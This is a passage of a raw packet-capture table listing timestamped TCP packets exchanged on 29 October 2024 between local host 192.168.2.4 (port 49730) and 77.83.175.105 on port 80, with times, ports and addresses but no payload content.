Oct 29, 2024 04:17:01.372900963 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372917891 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.417951107 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.417988062 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.418035030 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.418035984 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.418035030 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.418071032 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.418083906 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.418122053 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.418124914 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.418158054 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.418175936 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.418191910 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.418204069 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.418239117 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488054037 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488120079 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488130093 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488181114 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488184929 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488215923 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488235950 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488250971 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488276958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488306999 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488317966 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488341093 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488363981 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488377094 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488401890 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488439083 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488595963 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488631010 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488666058 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488677025 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488677025 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488745928 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488785982 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488841057 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.488956928 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.488991976 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.489025116 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.489032030 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.489048958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.489064932 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.489084959 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.489100933 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.489125967 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.489160061 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.489521027 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.489556074 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.489572048 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.489589930 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.489609957 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.489625931 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.489662886 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.489682913 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.534706116 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.534743071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.534773111 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.534778118 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.534806013 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.534811974 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.534826040 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.534847975 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.534862995 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.534899950 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.534919977 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.534945011 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.575907946 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.575938940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.575968027 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.575973034 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.575989962 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.576006889 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.576054096 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.576054096 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.604912043 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.604953051 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.604988098 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.604995966 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605017900 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605032921 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605065107 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605084896 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605093956 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605118990 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605139971 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605150938 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605165958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605185032 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605218887 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605220079 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605220079 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605273962 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605449915 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605504036 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605525017 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605536938 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605551004 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605571985 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605581999 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605617046 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.605617046 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.605663061 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.606149912 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.606184959 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.606209993 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.606220007 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.606232882 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.606252909 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.606268883 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.606287956 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.606321096 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.606323957 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.606347084 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.606357098 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.606365919 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.606386900 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.606409073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.606434107 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.651559114 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.651592970 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.651618958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.651628971 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.651648998 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.651680946 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.651690960 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.651715040 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.651725054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.651750088 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.651758909 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.651793957 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.691831112 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.691864014 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.691895962 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.691937923 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.692785025 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.692817926 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.692852974 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.692859888 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.692899942 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.692899942 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.721688032 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.721739054 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.721765995 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.721781015 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.721788883 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.721832991 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.721837044 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.721872091 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.721896887 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.721908092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.721934080 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.721968889 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.721998930 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722033978 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722064018 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722069025 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722085953 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722119093 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722156048 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722207069 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722209930 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722244978 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722268105 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722279072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722290993 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722315073 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722330093 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722383976 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722723007 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722758055 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722781897 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722791910 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.722805977 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722847939 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.722975969 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.723009109 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.723040104 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.723051071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.723081112 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.723086119 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.723103046 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.723121881 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.723146915 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.723169088 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.768364906 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.768404007 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.768440008 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.768454075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.768486023 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.768491983 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.768529892 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.768534899 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.768558979 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.768589973 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.768623114 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.809462070 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.809524059 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.809564114 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.809577942 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.809600115 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.809664965 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.809664965 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.809664965 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838551998 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838588953 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838619947 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838628054 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838644028 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838664055 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838679075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838700056 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838718891 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838752031 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838793039 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838844061 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838849068 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838877916 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838905096 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838912010 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838939905 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838947058 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838965893 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.838980913 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.838995934 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839015961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.839056015 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839102983 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839513063 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.839574099 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839607954 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.839664936 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839735031 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.839768887 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.839796066 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839803934 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.839814901 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839835882 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.839853048 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839870930 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.839904070 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.839926958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.840248108 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.840281010 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.840308905 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.840317011 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.840347052 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.840349913 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.840387106 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.840419054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.885217905 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.885251999 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.885286093 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.885310888 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.885324955 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.885349035 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.885376930 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.885390043 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.885406971 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.885435104 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.885461092 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.926480055 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.926515102 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.926551104 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.926587105 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.926616907 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.926616907 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.955184937 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955241919 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955276966 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955332041 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955367088 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.955367088 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955437899 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955471039 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955503941 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955538034 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955569029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.955569029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.955569029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.955569029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.955590010 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.955929995 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955981970 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.955987930 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956017017 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956031084 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956052065 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956068039 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956085920 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956106901 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956135988 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956377029 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956429005 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956429958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956463099 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956476927 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956496954 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956515074 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956530094 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956551075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956564903 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.956574917 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.956610918 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.957017899 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.957050085 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.957073927 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.957084894 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.957097054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.957118988 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.957132101 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.957165003 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.001952887 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.001988888 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.002022982 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.002151012 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.002151012 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.002151012 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.002269030 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.002300978 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.002335072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.002440929 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.002440929 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.002440929 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.043076992 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.043137074 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.043174982 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.043181896 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.043211937 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.043253899 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.043253899 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.043281078 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.071960926 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072014093 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072047949 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072052002 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072082043 CET	80	49730	77.83.175.105	192.168.2.4
